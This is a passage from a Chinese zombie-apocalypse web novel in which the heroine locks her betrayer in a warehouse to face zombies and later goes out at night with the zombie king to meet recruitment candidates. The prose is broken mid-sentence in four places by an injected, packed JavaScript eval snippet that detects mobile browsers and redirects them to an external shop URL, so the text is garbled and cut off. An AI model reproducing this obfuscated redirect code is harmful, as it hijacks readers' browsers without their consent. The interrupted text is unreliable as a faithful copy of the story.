“但是她拿了饼干后，不愿意留在房间里，一定要跟着我出来。后来大手大脚闹出动静，引来丧尸群。我很努力的在保护她，可是丧尸太多了……” “眼看小叶被围住。我为了引走丧尸，主动攻击它们。”汪舟抬头，眼眸赤红，“我大喊大叫，用了所有能想到的办法，只是为了给小叶争取一线生机。” “后来，她确实逃出包围圈。却在看到我被丧尸围攻时，头也不回的跑了。” 汪舟揪着心口的衣服，露出一个悲凉苦笑：“我把她当妹妹，没有想到她如此绝情。” 汪舟讲述的声音越来越低，最后带着沙哑落幕。 “哦。原来是这样。”同汪舟激动起伏的情绪相比，霍不予像一座冰山，他无喜无悲的总结道，“遇人不淑。” 汪舟摇摇头：“不是的，可能因为小叶是女孩子，心智不太成熟。” “算了。”汪舟垂眸，看着皱巴的压缩饼干包装，缓缓攥紧掌心，“她也付出惨重代价了。” 两人交谈的声音并未刻意压低，躲藏在汪舟身后的叶只秋气的两只手都攥紧了拳头。 啊啊啊啊，原来这就是绿茶男？！ 原来做人可以脸皮这么厚，谎话不打草稿就能说出来！还哭，鳄鱼的眼泪！！呸呸呸！！坏蛋！！ 成长在红旗下，生活在阳光里的叶只秋本人，除了受到工作磋磨外，交友路上基本一帆风顺。汪舟是她二十多年人生经历里，遇到最坏的人。 叶只秋不明白，为什么有人真的可以毫无芥蒂，用其他人的生命来为自己创造机会。 坏人！混蛋！垃圾！ 系统：【……】 家人们谁懂啊，绑定了一个不会骂人的宿主。 来来回回都是这几个毫无杀伤力的词，真的很想升级后，第一件事就是给她下载本骂人大全，监督每日朗读。 不然系统都要被气出bug了！！ “那什么，哥们儿，不知道你怎么称呼。”解决了后顾之忧，汪舟内心轻松很多。 “哥们儿？”霍不予恹恹抬眼，轻声重复这个称呼。 “额，不，不是。”汪舟莫名一抖，舌头在嘴里打了个转，“我的意思是大哥！！” “你那么厉害，能从丧尸手里拿到饼干，以后能不能带带我？” “你看末世里，咱们能遇上也算有缘，不如搭个伴一起求生，也算有个照应。” 霍不予面无表情，看不出喜怒哀乐。 幽幽目光罩在汪舟身上，过了许久，才问道：“照应，你能给我什么照应？” 汪舟一哽，手不自觉摸向腰部。 他舔了舔干燥的嘴唇，像是下定了什么决心，缓缓拉开拉链。 “大哥，我只有这些能付出的，给你看也算是掏心掏肺，毫无保留了。” 霍不予：“拉链拉上吧。” 角落中，叶只秋看着两人互动的背影，脑袋上一头雾水。 啥东西啊？怎么拉开个衣服就是付出了？看看肚子算掏心掏肺？？！！毫无保留又是什么意思？？ 汪舟想干什么？难道…… 一个离谱的念头出现在叶只秋脑海：那个绿茶男想色诱自己的员工？！ 清澈的圆眼睁大，如果不是叶只秋还记得自己的埋伏大计，此刻已经忍不住想冲出去了。 呼呼——给自己做心理建设，平静呼吸。 叶只秋咬着一口洁白的小米牙，气的脸颊通红。 幸好当初没有招聘汪舟，这种人人品不行，还爱搞办公室恋情。PASS！PASS！！！ 还有霍不予也真是的，对面有啥可看的，难道比他自己肌肉多吗？能不能提升点审美？以后有机会了，员工福利先给他发面镜子。 “哼。”霍不予自鼻腔泄出一声微不可闻的轻笑。 视力极好的丧尸王透过层层遮盖，精准看清叶只秋脸上生动表情。虽然不知道那个小豆丁为什么生气，但表情实在太好笑了。 “大、大哥？”汪舟一脸懵逼。 在他的角度，感觉对方一直看着自己。明明上一秒还在冰冷审视，看到怀里投诚的东西后竟然笑、了？这么好糊弄吗？ 虽然不明白，但汪舟很有眼力见，麻利自怀中掏出袋子，举起。 “大哥，我只找到这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898303|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个红薯。你喜欢全部给你……我，我还可以饿一段时间。” 霍不予收回目光，看向伸到眼前不足巴掌大的红薯。 “……” * 躲开丧尸，蹲在大楼后门的绿化带中，汪舟迟迟没有动作。 霍不予两手交叉，抱胸懒懒站在一旁：“怎么不挖？” “哦，挖。”汪舟回神。 他徒手拨开长满枯草和变异植物的泥土，将红薯连着塑料袋一起埋了进去，并小心谨慎的填平土坑。 至于为什么突然跑来挖坑，还要说回几分钟前： 明明他觉得霍不予对红薯很有兴趣，却在自己给他时拒绝，甚至神色中似乎还带了点不屑。不等汪舟细想，对方又突然转念，让他先收着，并提出去找物资，将来平分。 汪舟顿时欣喜。 既然由他保存，那便按照以往的习惯。他通常会在活动范围附近找到有明显标志物的地方，将东西埋起来。 一是为了减轻重量，二是保持灵活度，三则是预防打劫。虽然第三点现在几乎用不上了。 “大哥，埋在这里了。”汪舟指着超市对面的广告牌，“就在这个红点的正下方，花坛十步距离。” “如果我遇到意外，记得来挖。”汪舟看着霍不予，嘱咐道。 他露出标志性笑容，看起来阳光又真诚，这是他惯用的手段。末世中食物紧缺，分享如此重要的东西，能很快取得对方信任。 在埋好的地方铺上杂草，汪舟若有若无瞟向不远处，很快收回目光。 其实他今天找到的物资不光有红薯，还有其他。受益于良好习惯，提前藏的东西将独属于自己的。而将来……汪舟看向霍不予，笑的愈发灿烂：他将拥有一个长期饭票。 “坏蛋！笑起来更坏了！” 叶只秋如同一只小蘑菇，躲在超市拐角阴影处，手指怨念的在墙壁上画圈。 她虽然时不时脱线，但人完全不傻。如今以旁观者的角度看汪舟，真是一清二楚。 见到人先示好，然后分享食物，接着邀请一起找物资……查重率99%了喂！ “大哥，我们去后面看看吧，这家超市的仓库离得不远，末世前囤了很多东西。”汪舟拍掉手上的土，试探建议道。 霍不予收回落在叶只秋身上的目光，淡淡答应：“行。” 蹲在远处看小剧场的叶只秋：我就说吧！流程进入第三项。 听到霍不予答应，汪舟眼睛一亮，转而又忧心忡忡的开口：“但是仓库那边的丧尸很多，我去了好几次都没成功进去。” “大哥，你能不能帮忙分散一下丧尸火力？”汪舟摆出一副惴惴不安的神情，“只要给我三十分钟就行。” “我熟悉那边的情况，找机会进去，一定可以收获很多东西！” “到时候，至少一个月，我们都不用担心吃喝！” 霍不予面无表情的看着汪舟，并未表态。 阴郁的气压之下，汪舟感觉自己嗓子干涩，脑中快速回想有没有哪句话说的不对？ 正当他汗流浃背之际，霍不予突然露出个浅笑。 “一个月的食物吗？可以啊。” 汪舟瞬间兴奋，不疑有他，详细为霍不予介绍仓库周围情况。用石头在土地上画出平面图，指出几个需要吸引丧尸的点。 “大哥，你什么时候准备好了，我们去仓库扫荡。” “现在就可以。”霍不予幽幽道。 7. 这才叫真正的报仇 不知道是不是错觉，汪舟带着霍不予，虽然小有波折，但几乎称得上是畅通无阻。两人竟然没受到任何伤害，就这么到达了目的地。 谨慎的观察了一圈周围。 汪舟讨好开口：“大哥，你往那边走。麻烦弄出一点动静。” 他指了指拐角后的大铁门：“我进去看看。” 霍不予微一颔首，转身向另一方向走去。待他背影消失之际，汪舟小心推开大门，侧身挤了进去。 …… “出来吧。”霍不予偏头。 叶只秋狗狗祟祟，从墙角探出头。她压低声音，用手遮在嘴侧，如同执行秘密任务的接头者：“他进去啦？” “嗯。” 叶只秋左右看看，确定没有丧尸后钻了出来。 虽然她已经知道大部分丧尸会主动避让霍不予，连带着自己也能跟着受益，但保不准有例外的，还是谨慎为妙！ “走，我们也进去看看！” 叶只秋拉住霍不予袖口，蹑手蹑脚钻入铁门。 巨大的仓库内，入眼便是两人高的货架。架子上原本整齐堆放的纸箱此时已七零八落，不知经历过多少人的扫荡。草草看过去，没有任何有用的东西。 叶只秋如同警惕的小猫，躲在门口的架子后面张望四周。 “这里面有没有丧尸啊？不知道汪舟去哪儿了？” 霍不予双手插兜，没有任何躲藏的意思。他明目张胆的扬扬头，用下巴点了点右边的通道方向：“他去那边了。” 叶只秋：“你怎么知道的？” “刚才他画地图和我说了。”霍不予随口扯了个理由。 怎么知道？当然是因为这房间里藏着很多丧尸啊，而且不是叶只秋一路以来看到的那种低级丧尸，不过霍不予不打算告诉她。 虽然小豆丁炸毛的样子很好玩，但是他更想知道叶只秋打算如何对付汪舟，所以干扰进程的东西最好不要出现。 末世世界，霍不予不记得自己有多久没见过‘拥有活人感的生物’了。 叶只秋的活人感并不是说时时刻刻积极向上，而是她时不时冒出的古怪行为。 那是一种跳脱感。就像是制造灰色方块的流水线上，突然出现一只彩色捏捏。那只捏捏随着履带传送左摇右晃，让人忍不住好奇，它什么时候会掉下去？却又在掉下去的瞬间，妄图用手接住。 “是在那里面吗？”叶只秋探头，指着通道尽头的房间。 霍不予回神，微微眯眼看着门后黑暗的空间，感应了一下，给出肯定答案：“对。” 叶只秋将盖过指尖的袖子挽到手腕，在地上捡起一根钢管。 “好机会，我要报仇。” 霍不予目光在叶只秋身上扫了一圈，最后落在她手中钢管上：“你想怎么报仇？打闷棍？” 倒不是他看不起叶只秋，主要小豆丁的身高体型，怎么看都不像是能正面回击的。好吧，他其实就是看不起。 叶只秋凶巴巴的磨了磨自己的小虎牙，认真脸：“我要以其人之道，还治其人之身！” 霍不予耸肩：“祝你成功。” 他依然是那副双手插兜的闲散模样，漫不经心跟在叶只秋身后，看着她捡了一堆钢管，抱在怀中。 贴墙挪到目标房间门口，叶只秋谨慎往里打量。 这是一间储备生鲜的房间，里面横放着大量冰柜，但因为早已停电，房间内外并无温差，反而有股挥散不去的腐烂鱼腥味。许是因为末世刚刚来临时，这里冷气未消，所以员工将大量食物挪了进去。 叶只秋透过半掩房门上的玻璃，可以清楚看到冷鲜仓库地上，扔着很多撕开的包装。除了人类的食物外，还有散落的猫粮狗粮。 汪舟正背对着他们，蹲在房间最角落，粗鲁的翻找着剩下的东西，妄图找到遗落的物资。 “不错。”满意的戳了戳玻璃，叶只秋看向霍不予：“房间里面有丧尸吗？” 霍不予眼神扫过大量冰柜，嘴上却给出另一个答案：“没有。” “条件符合！”叶只秋小心将半开的房门拉起。 门合并的一刹那，发出轻微“嘎哒”声，汪舟瞬间回头。玻璃上清晰映出叶只秋的脸庞。 汪舟瞳孔骤缩：“你没死！！” 他猛地冲向房门。 叶只秋眼疾手快，将钢管横插在门把手上，如同古代深宅大院内的门闩。 汪舟眼神愤恨的看看叶只秋，又看向旁边的霍不予，在两人身上游移了一圈后，恶狠狠道：“你们认识，现在是来算计我的！” “算计？”叶只秋纠正，“我这叫以牙还牙，以眼还眼。让你也尝尝被关在小屋里的感觉。” 她自认为凶巴巴的举起钢管，在汪舟眼前晃了晃后，插入把手内。 “可惜没有大锁头，不然我一定让你回味一下当初自己是什么样子，哼！” “放我出去！”汪舟疯狂拉扯两扇门。 摇晃下，钢管与金属门相撞，发出嘈杂的“砰砰”声。仓库大门外，越来越多的影子显现。 “叶只秋，你看看后面！已经有丧尸来了。你放我出去！不然咱们三个都会死在这里。” 叶只秋：“闭嘴！” 余光中，她看到围在门口的丧尸越来越多，密密麻麻直到将光全部遮住。即使知道霍不予是丧尸王，但在这种环境下，依然忍不住紧张。 毕竟丧尸王能压制丧尸群到哪种程度，叶只秋是不清楚的。 脑子里相似的设定只有动物世界，但好像里面的王很容易被挑衅。比如狼王，若是被手下打败，甚至会赶出族群。 霍不予万一在仓库里被群殴了，自己肯定逃不出去。 “叶只秋，你看看后面啊！！” “咱们的仇至于你搭上命来报吗？！！你他妈的脑子有病吧？放我出去！丧尸就在你身后，马上就过来了！！” 汪舟歇斯底里的声音从门缝里挤出，他怒吼着。 叶只秋紧张的手心都是汗，动作却丝毫不停。 她一手拉着把手，一手将新的钢管垫在三个横着的钢管下，调整为60°夹角。然后又抽出一根钢管，镜像操作。 不一会，门上出现了一个由钢管组成的等腰三角形。每根钢管左边都压着下一根，形成循环。三角底部的尖端抵在地上。 叶只秋谨慎加码，每一条边都用了多根钢管。 不知什么时候，汪舟已经停止了咒骂。他愣愣的趴在玻璃上，像是被抽走了灵魂一般。 直到看见叶只秋站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898304|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身，汪舟发直的眼珠才转了转。 他像是看到什么恐怖的东西一样，惊恐的望着叶只秋，随后突然‘哐哐’撞向玻璃。 “小叶，我求你了！我给你磕头，你放我出去吧。当牛做马都可以，你留我一条命！” 鼻涕和眼泪瞬间爬满脸庞，汪舟吐出的雾气刚刚笼罩玻璃，又被扒在上面的手涂花。氤氲的水雾下是纵横交错的扭曲指印。 叶只秋被汪舟突然的转性吓了一跳，条件反射后退半步。 她一不小心踩到霍不予。抬脚瞬间，身体一歪，快要跌倒之际又被拎着后脖领拽了回来。 叶只秋：“谢，谢谢。” 余光中大片层叠的影子占据视网膜。 叶只秋机械转头，她顿时明白汪舟为什么突然崩溃了，身后的景象也太吓人了吧！！！ 层层货架间，不知何时已经没了空隙。无数的丧尸挤在过道中，胸贴着胸，脚挨着脚。 它们在距离自己和霍不予约十米远的地方，留出了个真空圈，无尸越界。 随着身后新的丧尸涌入，前面的丧尸越来越挤，甚至能听见外露的内脏不堪重负，发出爆破声，然后是滴滴答答的腐烂液体掉在地上。 叶只秋：“……” 刚才摆弄钢管锁的时候太沉浸了，完全没有发现世界已经翻天覆地。 她咽下一口口水，强装镇定的拽了拽霍不予：“咱，咱还能出去吗？” 霍不予偏头：“你这就算完了？” 叶只秋眨眨眼：“嗯。” 她看了一眼身后，认真解释：“你不要觉得我心狠，之前他就是这么对我的，把我锁在电梯里。” “这种人可坏了，他现在就是恶有恶报。” “等咱们离开，”说到这里，叶只秋不放心的追问，“这么多丧尸，你又没办法跳楼了……咱们能离开吗？” 霍不予：“能。” “那就好。”叶只秋拍了拍胸脯，放心一些，接着说道，“等咱们离开，汪舟被锁在里面。外面全是丧尸，他出来不出来都是死。” “哼，我要狠狠折磨他，╭(╯^╰)╮。” 霍不予嘴角抽了抽：“完了？” 叶只秋懵懵对视，几秒后，拳头一砸手心：“对了，没完！还有其他的……不过这得出仓库才能办。” 霍不予好奇。 他像第一次一样，将叶只秋扛了起来。一个跨步，跃上两人高的货架，随后闲庭信步向出口走去。 叶只秋沉浸在惊讶中，看向过道中的丧尸：哇，原来可以这样逃跑。 她完全没有看到，两人离开的时候，霍不予在玻璃上轻轻点了点。 锁住汪舟的房间里，冰柜门缓缓掀开，十几具丧尸如同无骨的响尾蛇般立起，它们无声的出现在门前，将可怜的猎物包围。细小的咀嚼声起，带血的掌印徒劳拍向玻璃，然后拉出长长指痕…… 霍不予勾唇，眼底闪过一丝暗茫： 只是关起来的报仇有什么意思？既然做错了事，当然要付出惨痛的代价。 门内的丧尸会小心的啃下汪舟皮肉，却不让他死去，直到外面的丧尸群打开房门，无皮的可怜人类将迎来独属于他的第二波死亡晚宴。 这才叫真正的报仇。 8. 能不能别半夜发布任务！ 蹲在土坑前。 霍不予无语：“这就是你说的斩草除根？” “对呀。” 叶只秋用两个手指头拎着塑料袋，将上面的土抖掉后，拿出里面的红薯。 “其实我之前没有这么坏的，现在是特殊情况。” “如果汪舟逃出来了，特别绝望又很饿很渴的时候，跑来挖之前他留下的食物，结果找了半天，发现找不到。这是不是很杀人诛心？！” 霍不予：“……” “你觉得他还能跑出来？” 叶只秋摇摇头：“不知道。” “那你是希望他出来，还是不希望？”霍不予很有兴趣，继续追问道。 叶只秋抿抿唇没有回答。 她其实也不知道自己想要什么样的答案。 叶只秋自问并不是一个很宽容的人，更何况汪舟差点害死她。但是真要下手杀人，她也是无论如何做不到的。 之前看电视的时候，每次正派留手，给了反派偷袭机会。叶只秋都会气的拍大腿，自己一个人喊着要补刀啊！！ 但当自己面对汪舟时，叶只秋想到的报仇办法只能是把他锁在房间里，然后等着丧尸围攻。具体会不会死，叶只秋不知道，也不想去确认。 她戳了戳地上的红薯，长叹一口气。 明明已经到了末世，自己也该狠心点，可是真的去做才发现太难了。叶只秋是一个扔垃圾，不小心包装纸掉到垃圾桶外，都会捡起来重新扔的人。 一边在内心唾弃自己的行为不够大女主，一边又小小自我安慰，需要成长的嘛，不是自己胆子小。 努力装坏的叶只秋，一本正经看向霍不予。 她像是解说，又像是在为自己找一个合适的理由，念叨道： “你可能不懂，人在极致绝望的时候，最害怕遇到的就是压死骆驼的那根稻草，现在我就是在放稻草。” 霍不予：“……那你可以多放几根。” 叶只秋：“啊？什么意思？” 霍不予用下巴点了点树的方向：“那边也有东西，你去挖吧。” “？？？？” 顶着满头问号，叶只秋挖挖挖。 连着刨了几个坑，突然手中树枝一顿，被藏在泥土中的袋子挂住。 真有！ 叶只秋马步一扎，努力奋斗，双手握着树枝，一通狗刨。 不多时，黄色的塑料袋被翻了出来。只见里面零零散散装着好几样东西，打开袋子：一袋瘪气的薯片，一小罐可乐，一瓶手指高的迷你赠品矿泉水，一个打火机，一卷鱼线。 叶只秋拿起薯片晃了晃，袋子里传来沙沙声。 很好，薯片已经成渣了，碎的格外均匀，如果不是包装袋验明正身，简直可以怀疑里面装的是盐。 “喏，你的汽水之神灵验了。”霍不予将可乐递了过去，“喝吗？” 叶只秋眼神落在罐身处的生产日期上：3026.01.01。 “今年是哪年？” 霍不予跟着她视线瞥了一眼，淡淡道：“还行，过期六年。” 叶只秋：“……” 默默拿起矿泉水。虽然和可乐是同年出生，但莫名觉得过期的水喝起来更保险一些。 鱼线装进兜里，叶只秋看向打火机。 拇指刮擦砂轮，连续发出“嚓擦”声，终于微弱的火苗亮起。 叶只秋：“哇！有火啦！” 系统：【……】 瞅瞅这没出息的样子，它无语翻出「爆裂火焰」合同，见缝插针提醒。 【请宿主积极完成招聘！】 叶只秋：知道了，知道了。这不是没看见人嘛~~ 敷衍完系统，她两眼放光望向霍不予。 霍不予：“……有话直说。” 叶只秋双手奉上红薯：“大佬！你能不能控制一下时间，让它长大点儿？” 她一边比划，一边补充。 “有了打火机，我们一会儿可以烤着吃。埋在土里，闷出来的红薯可香啦。这么大就行，正好一人一半。” 霍不予：“……” 这是第二次叶只秋拜托自己控制时间。第一次为了干洗，第二次为了多吃。 嘴角抽了抽，他面色复杂的接过红薯。 指尖上，力量运转。 红薯表面似乎被渡上一层透明水波，随着荡漾，小红薯缓慢的长大了一圈。 叶只秋：“哇，加油！！！” 霍不予食指点了点，波纹变大，然后—— 红薯冒出来一簇紫色的嫩芽。 叶只秋懵逼：“？” 这不太对吧。 霍不予表情闪过一丝错愕，及时收手。 然而红薯上的嫩叶已经展开，边上更是窜出四五个直愣愣的茎芽。 霍不予：“……” 把红薯扔给叶只秋，他干咳了两下，嫌弃开口。 “这红薯不行。” 叶只秋抱着摇身一变化身盆栽的红薯，陷入沉思。 话说，还能吃不？ …… 黑夜与白天交替，缀满星空的幕布将整个城市笼罩。 叶只秋窝在一处放倒的按摩椅上，她如同小小的夹心饼干，陷进柔软的皮质内，被完全包裹。 这是难得找到的睡觉地方。 许是因为末世前价格昂贵，按摩椅被七八层罩子套的严丝合缝。末世后，吃喝紧缺没人会在意这种东西，加上体型笨重，搬动不方便，按摩椅成了最鸡肋的东西，连防尘布都无人去掀。 种种因素下，便宜了叶只秋。她摸着吃饱的肚子，瘫软身体。 托霍不予的光，两个人可以睡在这里。 叶只秋偏着脑袋询问：“你真的不用吃东西？不会饿吗？” 霍不予：“……不会。” 他似乎不是很想回答关于吃饭的问题。 叶只秋揉揉鼻尖：“好吧。” 晚饭还要说回那个红薯。 发芽的土豆有毒不能吃，是每个人都知道的常识，至于发芽的红薯能不能吃，在叶只秋努力的回想下得出结论：可以吃，但好像没见过有人用这种红薯烤…… 于是，在叶只秋拜托的目光中，霍不予操控时间倒退，恢复小红薯原样，还了叶只秋一个合格食材。 但因为体型太小，烤出来后更是缩水了一圈。哪怕叶只秋努力分成两份，在霍不予眼中，一半也就是一口的事。 脑补了一下蹲在土坑前，捧着黑乎乎的红薯。霍不予：他堂堂一方霸主，还不至于活的这么可怜。 所以即使叶只秋热情邀请，丧尸王也果断拒绝。 被烫的左右手来回替换的叶只秋：好吧，不吃就不吃。这可不是自己吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898305|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独食！ 揉揉暖呼呼的胃，叶只秋缓缓闭上眼。 末世第一天虽然惊险，但比想象中好一点。吃饱了饭，也找到了睡觉的地方。养足精神，明天要找更多好吃的回来！！~ 本以为会小小的失眠一下，谁知乏意从四肢百骸涌来。 几息之间，叶只秋呼吸已经渐沉。她像是一只蜷缩的小猫般，用手虚虚遮着脸，彻底睡去。 霍不予：太没有戒心了…… 丧尸是没有睡眠的，即使休息也只是停留在一处。它们不会做梦不会入睡。所以霍不予已经很久没有在夜晚躺下了。 可此时，他听着对面逐渐绵长的呼吸声，也忍不住缓缓闭上眼。 【凌晨02：00：00】 【滴！——】 【发现候选人踪迹！！！请查看‘人才地图’并前往。】 【紧急任务：请宿主在日出前，完成第二名员工的招聘。】 【提示：招聘失败，绑定账号将会封存。祝您工作愉快。】 【倒计时：4小时29分59秒。】 （推测日出时间为6:30） “！！！” 被脑内突然出现的提示音吓醒的叶只秋，猛地弹射起身，完全搞不清发生了什么情况。 沉睡的大脑一点点启动，怔了许久，才眼神呆滞的重新看向信息。 “？？？” “……………………” 大哥，现在是凌晨两点啊？！ 白天有那么多时间可以通知，为什么非要半夜才说？ 你是不是有什么毛病呀？不是有bug，怎么能干出这种非人哉的事？？ 签订了末世人事系统，是当了日不落牛马吗？ 叶只秋怨气冲天。 【倒计时：4小时26分03秒。】 【请宿主尽快行动，否则招聘失败后，账号将被封存。】 叶只秋：“……” 什么叫人为刀俎我为鱼肉，这就是！ 恨恨爬起身，对上霍不予幽暗的眼眸。 其实在叶只秋睁眼刹那，霍不予已经看向她。但小豆丁完全沉浸在自己的情绪中，没有注意周围。 “做噩梦了？”霍不予淡淡问道。 叶只秋闷闷‘嗯’了一声，又恶狠狠的补充道：“梦到扒皮鬼了！特别凶残的那种！” 虽然心中满满怨念，但为了活下去，叶只秋还是认命起身。 许是因为临时任务紧迫，脑中人才地图竟扩大了数倍。 叶只秋看到城市边缘左上方位置，有三个蓝点迅速靠近，这应该就是系统说的候选人了。 “咦，奇怪。”叶只秋看着蓝点，低声自语。 按照白天经验，三个蓝点的移动速度应是在狂奔，但他们身后并没有红点踪迹，也就是说没有丧尸。 挠挠头，有些想不通。 算了，去接应一下吧。尽快完成任务，没准还能回来睡个回笼觉。 报着美好祈愿，叶只秋眨巴着眼，望向霍不予。 “能不能陪我去趟东边方向？” 懒散的眼皮抬起，霍不予黝黑的眼眸中闪过一道暗茫。 小豆丁果然是个有意思的人。 本就习惯夜晚巡游的丧尸王欣然接受邀请，他微笑着吐出几个字： “好啊，乐意奉陪。” 9. 三缺一 呜呜，霍不予真是个好人！叶只秋感动。 太暖心了，当你需要加班的时候，有人愿意和你同进退。 被发了‘好人卡’的丧尸王，看着用奇怪眼神盯着自己的叶只秋，难得有些不自在。 “走不走？”霍不予问。 “走走走！！！”叶只秋狗腿应道。 凌晨两点啊，虽然是唯物主义，但出去走夜路还是会心里发毛的。 难得主动兴起招聘欲望的叶只秋：人多才能壮胆。 * 凌晨的末世街道。 月光照在地上，像一层厚厚的霜。两边林立的半成品大楼上，窗洞全部张着，一层层方形的黑叠上去，看得人心里发紧。莫名觉得里面藏着什么东西。 夜风刮起，发出低低呜咽。城市边缘的大型广告牌只剩下骨架，残破的展板随着风来回摇动，发出“吱扭扭”的响声。 叶只秋警惕的看着周围。 月亮高悬，她的影子很短，紧贴在脚边，像如影随形的小怪物。 叶只秋丧着脸。 作为一个思维极其活跃的人，她一边告诉自己快点完成任务回去，一边忍不住展开各种遐想。 “啊……”丧气的叹出一口气。 叶只秋偷瞄霍不予。 和她相比，霍不予简直像是暗夜的王，走在空无一人的道路上，反而有种唯我独尊的味道。 叶只秋不动声色凑了过去，不动声色拉进距离，不动声色拽住对方袖角…… 一通操作下来，心中安定不少。 两人就这样，一个草木皆兵，一个闲庭信步走到城市边沿高速路口。 “要继续往前吗？”霍不予问道。 他半垂着眼，看向自己袖口。原本板正有型的布料已经被拽的皱皱巴巴，叶只秋甚至不知如何操作的，竟还揪着转了两圈，让自己指头成功绞进布料里…… “不，不去了吧。” 看着几乎遮天，怼到眼前的连绵高山，叶只秋第一次如此清醒的认识到，这里和自己生活的南方小城有那么多不一样。 不是末世前后人类社会的差别，而是自然地势上翻天覆地的不同。 巍峨的高山让她莫名升起一丝崇敬，那种对大自然鬼斧神工的崇敬。 调出‘人才地图’，发现蓝点已经无限接近。 叶只秋看向一排高速收费岗亭，拉开最边上的一间房门：“我们在这儿等吧。” 等谁？ 霍不予微一挑眉，知道叶只秋似乎藏着很多秘密。他没有多说什么，而是跟着进了房间。 叶只秋打量着周围，她还从来没有进过收费岗亭。 现在看来，其实构造很简单。方方正正的小房间内，最里面1/4处是嵌套在墙壁上的不锈钢工作台，下方配备抽屉。工作台上放着打印机等一系列刷卡器具。一张万向轮工作椅翻倒在地。 叶只秋扶起座椅，推向霍不予：“坐！” 霍不予轻笑一声，长腿一跨慵懒坐下，斜着眼看叶只秋翻腾。 哐哐啷啷的声音下，叶只秋一会儿打开抽屉，一会儿爬上工作台，上上下下翻找，终于从收费机器后面抽出块约笔记本大小的太阳能光板灯。 叶只秋骄傲：“看！” 她就知道社畜工作的地方，总能发现些好东西。要不实用，要不陶冶情操。 拨动左上角的按钮，光板突然亮起，小小的收费亭被照的恍若白昼。 突然，窗户上传来“哐哐”的拍击声。 叶只秋回头，只见两张惊恐的脸贴在玻璃上。 抱着光板灯的叶只秋一个踉跄，差点从工作台上摔下来：“！！” 霍不予：“……你是兔子吗，这么容易被吓到？” 叶只秋想要反驳，大半夜谁看到这样的场景都会害怕吧。可惜，收费亭外面的两个人没有给她机会，他们迫不急待的寻找着房门。 一边拍打，一边仓皇失措的哀求。 “求求你开门，救救我们吧。让我们进去！！” 叶只秋查看了一下地图，确定系统通知的蓝点就是他们。她跳下桌子，打开铁门。 一男一女冲了进来，还不等叶只秋反应，他们立刻关上了门，像是害怕什么东西跟上来一样。 叶只秋一脸懵，看看空无一物的外面，又看看地图上距离自己十万八千里的红点。明明什么都没有，却因为这对男女的古怪样子，让她忍不住打了个冷颤。 “快快快！！把灯关上，不要让它们发现我们。”女人冲到叶只秋面前，手忙脚乱的催促她。 叶只秋：“哦哦。” 虽然不明白，还是听话的关上了灯板。房间内瞬间漆黑，看过亮光的视网膜过了十几秒，才终于适应。 叶只秋借着从玻璃处透进来的朦胧月光看向周围。 只见一双男女跪坐在门边角落处，牢牢抱在一起，身体颤抖着明显还未从恐惧中脱离。 霍不予坐在房间最中间，他懒懒的靠在椅背上，一腿曲起，脚踝搭在膝盖上，一副睥睨众生的嚣张模样。 叶只秋自己则是愣愣靠在工作台前，至今没搞清楚状况。 不到七平米的空间，四个人愣是过出了三种人生。 寂静之下，叶只秋突然开口。 “怎么只有你俩？还有一个呢？” 她看着‘人才地图’上，落在后面的浅蓝色小点，疑惑问道。三个人应该是认识的呀，怎么只来了两个。 “你，你怎么知道还有人？！！”女人惊恐叫出声。 男人也瞬间戒备，手向周围摸索，妄图能找到可以自卫的工具。 从一进房间开始，他就觉得不对劲了，尤其是坐在中间死气沉沉的男人。他像是局外人一样，高高在上的看着自己，像是看着蝼蚁求生。 叶只秋尴尬的摸摸鼻子：“啊。我是收到消息，你们好像需要接应。” 完了，大意了。白天一直跟霍不予待在一起，需要接受适应的是自己，导致现在没有细想，话就说出去了，竟没有意识到不符合常理。 “你，你们是花队长联系的人？我叫钟吟，我男朋友叫郑云松。求你救救我们……” “我们只是想去平安基地啊，为什么这么难。” 钟吟很快接受了叶只秋的借口，甚至听见是接应的人后，冲过来一把拉住了她，像是拽住了救命稻草。 “呜呜呜呜，我不想死，活着太难了。为什么，为什么呀……” 钟吟一边哭，一边反过来倒过去都是相同的几句话。 郑云松走过来，拍着她后背安慰。眼神扫过霍不予，对视的瞬间赶紧收回，他看向叶只秋：“你们晚上敢出来，一定特别厉害吧。” 走夜路都要抓着霍不予袖口的叶只秋，看到钟吟哭，莫名升起一股豪情万丈：“当然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 